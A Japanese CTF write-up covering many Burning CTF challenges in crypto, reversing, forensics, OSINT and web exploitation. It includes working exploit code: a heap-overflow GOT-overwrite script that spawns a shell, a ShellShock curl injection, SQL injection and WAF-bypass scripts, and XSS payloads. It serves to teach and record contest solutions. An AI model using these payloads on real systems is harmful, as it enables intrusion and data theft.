LoginSignup
2
2

More than 5 years have passed since last update.

場阿忍愚(Burning)CTF Write-up

Posted at

期間3か月というちょっと珍しいCTF。数日のCTFと違ってのんびり取り組めるし、終わった後はこうやってwrite-upが書けるし、良い。

結果

5位。あと2問が解けなかった。

練習

101 image level 1

画像を貼り合わせるだけ。

START-YAMATO-SEC!!!

芸術

漢字を読む問題。

111 ワットイズディス?

古めかしい感じ。大和世?由利?? と読めるので後は勘で。

大和セキュリティ

112 cole nanee?

勘で。漢字一文字でコンテスト期間が長いからブルートフォースもありだったかもしれない。

113 Lines and Boxes

漢字っぽい英字。

WORD PLAY

114 Why want something more?

画像検索をすると、この写真が出てくる。ということは、ちゃんとした書のようなので、頑張って読んだりググったり。

如是

二進術

121 壱萬回

ダンプして、showFlagという関数を読めば良い。

FLAG_5c33a1b8860e47da864714e042e13f1e

122 DxLib遊戯如何様

DXライブラリを使ったオセロ。データはdata.dxaに入っている。このソフトで展開すると、フラグの書かれた画像が入っていた。パスワードが掛かっているので、デバッガでゲームを動かして探した。パスワードはReverSi

DxaDecode.exe -K:ReverSi data.dxa

FLAG{otHeLlo_is_ReVersI}

123 Unity遊戯如何様

Unityを使ったゲームのOS X用バイナリ。3DGame.app/Contents/Resources/Data/Managed/Assembly-CSharp.dllが本体で、.netのバイナリなので、ILSpyで解析できる。プログラムを読むと、FLAG{its_3D_Game_Tutorial}が出力されるようだが、同梱されている画像ではフラグが大文字になっていた。試しに、大文字に変えたら通った。フォントのせいらしい

ITS_3D_GAME_TUTORIAL

解読術

131 image level 5

英字1文字が描かれた9枚の画像。画像のファイル名が1-9のMD5ハッシュなので、数字の順番に並べる。

KOUBE-GYU

132 Ninjya Crypto

忍者文字ヤマトイエバと書いてある。

カワ

133 Decrypt RSA

640bit RSA。小さめだが、そう簡単に破れる桁数ではない。懸賞用の合成数らしく、Wikipediaに因数分解の結果が載っていた。

FLAG_IS_WeAK_rSA

134 Zach! Take a nap!

Merkle-Hellmanナップサック暗号。sageというソフトウェアでLLLというアルゴリズムを使うと解けるらしい。参考。が、この通りに書いても答えは出てこなかった。フラグはASCII文字だろうから最上ビットは0だし、最初の文字はFLAGflagだろう……などと当たりをつけて、一部のビットを固定したら解けた。

b = [
241709663199932863418475935611104891777678005625020486143471439845319800415569810225805201626329026017395235341492803284854650493471308233643391751157995414909647486, , 29144509272047808806446970583974756772151751541918080132151114360982509871943491168571304589882094397804270488503942631375046163814737465224170830447650456222565586
]
c = 17430751285528755149770712450733929117433144442861558376665123992012139353371207953693139647876692972065665577925661787754965548509374755855050184970023361689968665090

M = [
  1,2,0,0,1,1,0,
0,1,2,0,1,1,0,0,
0,1,2,0,0,0,0,1,
0,1,2,0,0,1,1,1,
0,0,1,1,1,1,0,1,
0,1,1,1,1,0,1,1,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,2,2,2,2,2,2,
0,1,1,1,1,1,0,1,
]

org = b
b = []
for i in range(len(org)):
    if M[i]==2:
        b += [org[i]]
    if M[i]==1:
        c -= org[i]
print len(b)

n = len(b)
A = Matrix(ZZ, n+1, n+1)
for i in range(n):
    A[i,i] = 1
for i in range(n):
    A[i,n] = b[i]
A[n,n] = -c

B = A.LLL()
print B.str()

for i in range(n):
    if min(B[i])==0 and max(B[i])==1:
        ans = []
        t = 0
        for j in range(len(M)):
            if M[j]==2:
                ans += [B[i][t]]
                t += 1
            else:
                ans += [M[j]]
        print hex(int("".join(str(a) for a in ans), 2))[2:-1].decode("hex")

flag={AdiShamirSpoiled}

攻撃術

141 craSH

echo, cat, exit, lsが実装されたシェルをクラッシュさせよという問題。cat a a > aで落ちた。

$ echo aaaaaaaaaaaaaaaa > a
$ cat a a > a
$ cat a
aaaaaaaaaaaaaaaa
                 *** Error in `/home/crash/crash': free(): invalid next size (fast): 0x0000000000fc9140 ***
That's enough!
flag={NoMoreBashdoor}

NoMoreBashdoor

142 Ninja no Aikotoba

サーバーと受け答えする。最初の5問は逆算できる。Yama, too, KansaiTanaka, Zach。最後の1問はヒントが無いが、判定が、

    b[n] = '\0';
    result = strcmp(a, b);
    b[n] = save;
    if (result == -1 || result == 1) return 0;
    return 1;

となっている。仕様ではstrcmpは一致しなかった場合に1でも-1でもない値を返しうる。MySQLの脆弱性。私は適当に文字列を投げたけど、このlibcは24文字目まで一致することが条件らしい

GetsuFumaDen

143 craSH 2

craSHと同じバイナリだが、この問題は実際にrootを取る必要がある。
cat a a > a を実行したとき、ファイルaのサイズが10バイトだとすると、書き込み先なので最初にaのサイズが10+10=20バイトに変更され、その後20バイトのaに20バイトを2回書き込んでオーバーフローする。aの半分が0になってしまい調節が面倒なので、もう一つファイルを用意して、cat a a b > aのようにすると楽だった。

ヒープオーバーフローで検索すると出てくる、リンクリストを書き換えるという方法は、対策されていて今はもう古いらしい。汎用的な方法は無いので、プログラムの確保したメモリの使い方に応じて攻撃するしかない。katagaitai勉強会の資料が分かりやすい。mallocから返ってくるアドレスの前にサイズとフラグがあるので、そこがおかしくならないようにする。

GOTのstrlenのアドレスをsystemに書き換えて、strlen("~")system("~")になるようにした。面倒なことをしなくても、One-Gadget-RCEといって、libcの特定のアドレスに飛ばすとsystem("/bin/sh")が実行されるらしい。すごい。

from socket import *
from struct import *
from telnetlib import *
from time import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("210.146.64.35", 31337))
sleep(1)
print s.recv(9999)

def i2s(i):
    return pack("<Q", i)
def s2i(s):
    s += "\x00"*(8-len(s))
    return unpack("<Q", s)[0]

head     = 0x0000000000603160
strlen_g = 0x0000000000603030
strlen_f = 0x00007ffff7a9dac0
system_f = 0x00007ffff7a5b640

# ---
s.sendall("cat > a\n")
s.sendall("AAAAAAAA\x21\x04")
print s.recv(9999)

s.sendall("cat > a\n")
s.sendall("AAAA\x04")
print s.recv(9999)

b = "b"*32
s.sendall("cat > %s\n"%b)
s.sendall(i2s(strlen_g)+"\x04")
print s.recv(9999)

s.sendall("cat a a %s > a\n"%b)
print s.recv(9999)

s.sendall("ls\n")
sleep(1)
r = s.recv(9999)
print r
strlen = s2i(r.split(" ")[0])
print "strlen = %016x" % strlen

b = r.split(" ")[0]
bb = b

# ---
s.sendall("cat > a\n")
s.sendall("AAAA\x04")
print s.recv(9999)

s.sendall("cat > %s\n"%b)
s.sendall(i2s(head)+"\x04")
print s.recv(9999)

s.sendall("cat a a %s > a\n"%b)
print s.recv(9999)

s.sendall("ls\n")
sleep(1)
r = s.recv(9999)
print r
heap = s2i(r.split(" ")[0])
print "heap = %016x" % heap

b = r.split(" ")[0]

# ---
s.sendall("cat > a\n")
s.sendall("\x04")
print s.recv(9999)

s.sendall("cat > %s\n"%b)
s.sendall(i2s(strlen_g)+i2s(heap-0xb0+0xa8)+"\x04")
print s.recv(9999)

s.sendall("cat a a %s > a\n"%b)
print s.recv(9999)

# ---
s.sendall("ls\n")
r = s.recv(9999)

s.sendall("cat > %s\n"%bb)
s.sendall(i2s(strlen-strlen_f+system_f)[:-1]+"\x04")

s.sendall("echo sh\n")

t = Telnet()
t.sock = s
t.interact()

なかなか成功しないし、シェルを取った後でlscatを実行したらforkがどうこうと言われたので、何か制限がかかっているかと思ったけど、単に重いだけだった。誰かがfork爆弾でも動かしていたのだろうか。

GiveMeOneMoreShellshock

解析術

151 Doubtful Files

インターネットから取得したファイルに不自然な点があると。あんまり関係無いような気もするけど、インターネットから → Zone.Identifier(インターネットから取得したexeなどで警告が出るやつ) → 代替データストリーム。Dir /rで一覧が取得でき、moreで表示できる。

Windows TIPS:dirやPowerShellでNTFSの代替データストリーム情報を表示する - @IT

C:\documents\ctf\burningctf\151\Downloads>for %a in (*) do more < %a:Zone.Identifier:$DATA

C:\documents\ctf\burningctf\151\Downloads>more  0<1.inf:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=3

 :

C:\documents\ctf\burningctf\151\Downloads>more  0<7.inf:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=0

ZmxhZz17QWx0ZXJuYXRlIERhdG

 :

C:\documents\ctf\burningctf\151\Downloads>more  0<8.vbs:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=4

EgU3RyZWFtIG9uIE5URlMhfQ==

 :

Base64が書かれているファイルがあるので、繋げて復号。

Alternate Data Stream on NTFS!

152 情報漏洩

武士が情報管理の仕事を請け負って管理の厳しい中情報を盗み出したというpcapファイル。1個のパケットにPNGがまとめて入っているので切り出せば良い。

gambare benesse

153 Speech by google translate

フラグが英語で読み上げられるけど、途中で途切れる。残りを推測する問題かと思ったけど、単にWAVEのヘッダが書き換えられて短くなっているので、戻すだけだった。

image

X5kpBQJUufHdkch923SJ

154 Cool Gadget

破損したJpegファイル。バイナリエディタで開くとremoveme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}という文字が見えるのでこれを消す。このBase64文字列を復号すると、Salted__から始まっていて、OpenSSLで暗号化したものだと分かるので、暗号方式を色々試す。鍵は画像の文字。

>openssl aes-128-cbc -d -in crypt
enter aes-128-cbc decryption password: EAHIV
flag={Cryptex is cool!}

Cryptex is cool!

155 Encrypted Message

TrueCrypt実行中のメモリイメージと暗号化ボリューム。AESKeyFinderというツールで、パスワードから生成されるマスターキーを抜き出せる。たしか、TrueCryptのソースを弄って無理矢理このマスターキーを使うようにした。

Already Ended In 5/2014

電網術

161 ftp is not secure.

FTPなので平文でフラグが送られている。

XTInX69nqvFaoEwwNb

162 ベーシック

BASIC認証。ヘッダはAuthorization: Basic aHR0cDovL2J1cm5pbmcubnNjLmdyLmpw、復号するとhttp://burning.nsc.gr.jp。BASIC認証の仕様を知らないといけない。URLっぽいけど、BASIC認証は:の前がユーザー名で、後がパスワード。ユーザ名http、パスワード//burning.nsc.gr.jphttp://burning.nsc.gr.jp/を開くとフラグが表示される。

BasicIsNotSecure

163 六十秒

B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9という文字列が出てきて、これをBase64復号しようとするとうまくいかないが、先頭のB00OWA6QNOを削れば復号できる。

12Gatsu14NichiAkatsuki7Tsu

164 Japanese kids are knowing

「ポートスキャンは苦しゅうない」と書いてあるので、ポートスキャンをかけると5006ポートが空いている。ncで繋ぐと

<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.

と返ってくる。カエルの歌。

938c2cc0dcc05f2b68c4287040cfcf71

165 Malicious Code

pcapの中からファイルを取り出すと、evalでjsを書き出し実行するショートカットがある。このJavaScriptが被害者のPCで実行されるときは、myaddr=10.0.2.222というパラメタを付けてサーバーからファイルを取得してevalする。同じように実行するとフラグの出力するファイルが落ちてくる。

lnk is sometimes malicious

諜報術

ネトスト。

171 KDL

1998年の募集要項。InternetArchive。https://web.archive.org/web/19981207002916/http://www.kdl.co.jp/

ソフトウェア開発エンジニア

172 Mr. Nipps

特定の日時の社長の居場所。Twitterの位置情報。

TwitterのWebでは正確な座標が表示されないがデータとしては持っているので、APIを叩けば取れる。アプリによっては対応していそう。

import tweepy

consumer_key= "XXXX"
consumer_secret= "XXXX"
access_key= "XXXX"
access_secret= "XXXX"

auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_key, access_secret)
api = tweepy.API(auth)
print api.get_status(631563742480834560).geo

{u'type': u'Point', u'coordinates': [34.0409203, -118.2672272]}

34.0409203,-118.2672272

173 Akiko-chan

写真からのブログの特定。Google画像検索。

tartoutfit4161

174 タナカハック

サイトの中の「taなんとか123」という文字列を探す。wget -rでまとめてダウンロードして、grep。

tanakazakkarini123

175 タイムトラベル

過去のIPアドレスの逆引き。逆引きできるサイトのInternet Archiveなどを探してみたけど出てこなかった。逆引きを保存しているサイトがあるらしい。

ファイルサイズが大きいので、ファイルには解凍せずにそのままgrep。

gzip -d 2013-09-21-rdns.csv.gz -c | grep 50.115.13.104

mxserver-104.blisterninja.com

記述術

プログラミング

181 search_duplicate_character_string

長さ200KBくらいの文字列の中から、2回以上出現する最長の部分文字列を探す。問題も与えられているので、競技プログラミングのように最悪ケースを考える必要は無い。4-gramの辞書を作って出現位置を記録して、2回以上出現している4-gramから探した。

T = open("181-search_duplicate_character_string", "rb").read()
ans = ""
n = len(T)
A = {}
for i in range(n-1):
  t = T[i:i+4]
  if t not in A:
    A[t] = []
  A[t] += [i]
ans = ""
for a in A:
  for i in A[a]:
    for j in A[a]:
      if i<j:
        t = ""
        k = 0
        while i+k<n and T[i+k]==T[j+k]:
            t += T[i+k]
            k += 1
        if len(t)>len(ans):
            ans = t
print ans

f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><

182 JavaScript Puzzle

新しめの機能を使ったJavaScriptの穴埋め。

新しめの機能は特に関係無いので、hoge.fuga()hoge["fuga"]()に等価だと知っていれば解ける。

183 Count Number Of Flag's SubString!

入力した文字列がフラグの中に何回出現するかを教えてくれる。ちょっと長くなれば0回か1回かなので、Blind SQL Injectionのように1文字ずつ探索すれば良い。

from urllib import *

ans = "flag%3D%7B"
for i in range(100):
  print "i = ", i
  for a in "abcdefghijklmnopqrstuvwxyz_":
    if "are 1" in urlopen("http://210.146.64.36:30840/count_number_of_flag_substring/?str="+ans+a).read():
      ans += a
      break
  print ans

afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr

184 解凍?

bzipとzipとtarで1000回くらい圧縮されたファイル。間違ったコマンドで解凍しようとしても実行に失敗するだけなので、毎回それぞれのコマンドを試すようにした。

p=0
for i in `seq 10000`
do
  bzip2 -d -k flag$p; mv flag$p.out flag$i
  unzip flag$p; mv flag.txt flag$i
  tar xf flag$p; mv flag.txt flag$i
  cp flag$p flag$i.gz; gzip -d -k -f flag$i.gz; rm flag$i.gz;
  p=$i
done

6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi

185 Make sorted Amida kuji!!

N個の数字を入力してN段でソートするアミダクジを作れという問題。N=4とN=10。半分全列挙。N/2段で可能な並び替え方のリストTを作る。Tの全ての要素tについて、入力をtによって並び替え、さらにt'と並び替えたときにソート済みになるような並び替えt'が、Tに存在するかを調べる。

import itertools

def solve(S):
    N = len(S)

    B = []
    for b in range(1<<N-1):
        ok = True
        for j in range(N-2):
            if b>>j & b>>j+1 & 1:
                ok = False
        if ok:
            B += [b]

    T = [{tuple(range(N)): []}]
    for i in range(N/2):
        T += [{}]
        for s in T[i]:
            for b in B:
                t = list(s)
                for j in range(N-1):
                    if b>>j&1:
                        t[j],t[j+1] = t[j+1],t[j]
                t = tuple(t)
                if t not in T[i+1]:
                    T[i+1][t] = []
                T[i+1][t] += [(s, b)]
        print i+1, len(T[i+1])
    print

    G = [[0]*N for _ in range(N)]
    for s in T[N/2]:
        t = tuple([S[s[i]] for i in range(N)])
        if t in T[N/2]:
            def BT(i, s):
                if i==0:
                    return [[]]
                a = []
                for ps,b in T[i][s]:
                    a += [x+[b] for x in BT(i-1, ps)]
                return a
            X = BT(N/2, s)
            Y = BT(N/2, t)
            for x in X:
                for y in Y:
                    for i in range(N):
                        b = x[i] if i<N/2 else y[N-i-1]
                        for j in range(N-1):
                            if b>>j&1:
                                print i,j
                                G[i][j] += 1
                    print

    flag = ""
    F = "qwertyuiopasdfghjklzxcvbnm1234567890_+="
    for i in range(N):
        for j in range(N):
            flag += F[G[i][j]%len(F)]
    print flag

solve((3, 1, 2, 0))
solve((9, 8, 6, 5, 7, 3, 2, 1, 0, 4))

021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q

超文書転送術

191 GIFアニメ生成サイト

ID=1のGIFは制限がかかっていて見られないけど、アップロード直後に表示されるURLだと認証が掛かっていなくて見られる。

H0WdoUpronunceGIF?

192 Network Tools

Linuxのコマンドを練習できるサイト。コマンドは制限が厳しくて何もできないが、ShellShockがある。lsなどでファイルを探して、

curl -d "cmd=arp&option=" -A "() { :;}; /bin/cat /var/www/cgi-bin/flag.txt" http://210.146.64.37:60888/exec

Update bash to the latest version!

193 箱庭XSS

適当にプログラムを解析した方が速いw alert()を実行すれば良いらしい。入力した文字列が大文字に変換される。

jjencodeで記号だけにしてしまえば、大文字になっても関係無い。jQueryと衝突するのでグローバル変数は$以外にする必要がある。

<script>_=~[];_={___:++_,$$$$:(![]+"")[_],__$:++_,$_$_:(![]+"")[_],_$_:++_,$_$$:({}+"")[_],$$_$:(_[_]+"")[_],_$$:++_,$$$_:(!""+"")[_],$__:++_,$_$:++_,$$__:({}+"")[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};_.$_=(_.$_=_+"")[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+"")[_.__$])+((!_)+"")[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!""+"")[_.__$])+(_._=(!""+"")[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;_.$$=_.$+(!""+"")[_._$$]+_.__+_._+_.$+_.$$;_.$=(_.___)[_.$_][_.$_];_.$(_.$(_.$$+"\""+_.$_$_+(![]+"")[_._$_]+_.$$$_+"\\"+_.__$+_.$$_+_._$_+_.__+"()"+"\"")())();</script>

2ztJcvm2h52WGvZxF98bcpWv

194 YamaToDo

mysqli_real_escape_stringが使われていて文字コードが指定できる。ただし、sjisは弾かれる。cp932を使えば良い。こんな感じで日時のところに埋め込んで、書き込みを1文字ずつ取り出した。

curl --data "body=0%95%5c', from_unixtime(ord(substr((SELECT group_concat(body) FROM todos _ WHERE user_id=0x79616d61746f), 0))))#" "http://210.146.64.44/?ie=cp932" -H "Authorization: Basic eWFtYXRvY3RmOkdVbjdTbjFMVkpRWkJ3eUc4d1pQQUl0bm9CWjA0VGx4" -H "Cookie: PHPSESSID=0h3n691evsja44m6e38ev6j837"

r3m3Mb3r_5c_pr0bL3m

195 Yamatoo

WAF回避と、1個のSQL文中に入力が2-gramされたものと元のままの両方が挿入されるでどうにかする必要がある。'''を入力すると'' '''''になるので、分割された方は文字列が正しく閉じて、されなかったほうは文字列から脱出する。上手くできている。WAFは次のように回避した。Blind SQL Injectionをしたけど、エラーメッセージから取り出すという手があったらしい。エラー出力処理を見落としていた。


import urllib

u = "http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.45/"

def length():
  for n in range(61):
    q = "''' or length((select flag from flag)) = %s --"%n
    d = urllib.urlopen(u+"?"+urllib.urlencode({"q": q})).read()
    print n, len(d)
#length()

def flag():
  n = 59
  flag = "flag"
  for i in range(n-len(flag)):
    for a in map(chr, range(32, 127)):
      q = """''' or length(replace((select flag from flag), "%s", "")) != %s --"""%(flag+a, n)
      #print q
      d = urllib.urlopen(u+"?"+urllib.urlencode({"q": q})).read()
      print i, a, len(d)
      if len(d)>2000:
        flag += a
        print flag
        break
flag()

196 Yamatonote

yaml_parseの注意事項を使うのが想定解法だったらしいが、自前のプレースホルダーに穴があったw

values (:user_id, :title, :body):titleなどを、mysqli_real_escape_stringを通して''で括っている。titleに_:body_を指定し、bodyにSQLを指定すると、まずはtitleが置換されて、values (:user_id, '_:body_', :body)になり、bodyが置換されて、`values (:user_id, '_'SQL'_', 'SQL')となる。

pHp_0bj3c7_15_50_5w3333333E337_4nD_y4mL_700

197 箱庭XSS 2

alertが削除される。簡単。<script>eval("a"+"lert()")</script>で良い。

n2SCCerG4J9kDkHqvHJNhwr4

兵法術

詰め将棋。ソルバーが必要な難易度でもないので、普通に解けば良い。普通の将棋と縦の数字が逆手、先手から見て右下が1一なので混乱する。

201 将棋詰め壱

一手詰め。

5768

202 将棋詰め弐

一手詰め×4。1個は縦の四と七が逆になっている。

26355756444636

203 将棋詰め参

三手詰め。

545646455747

204 将棋詰め四

後手詰め。

26364656776656453635

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2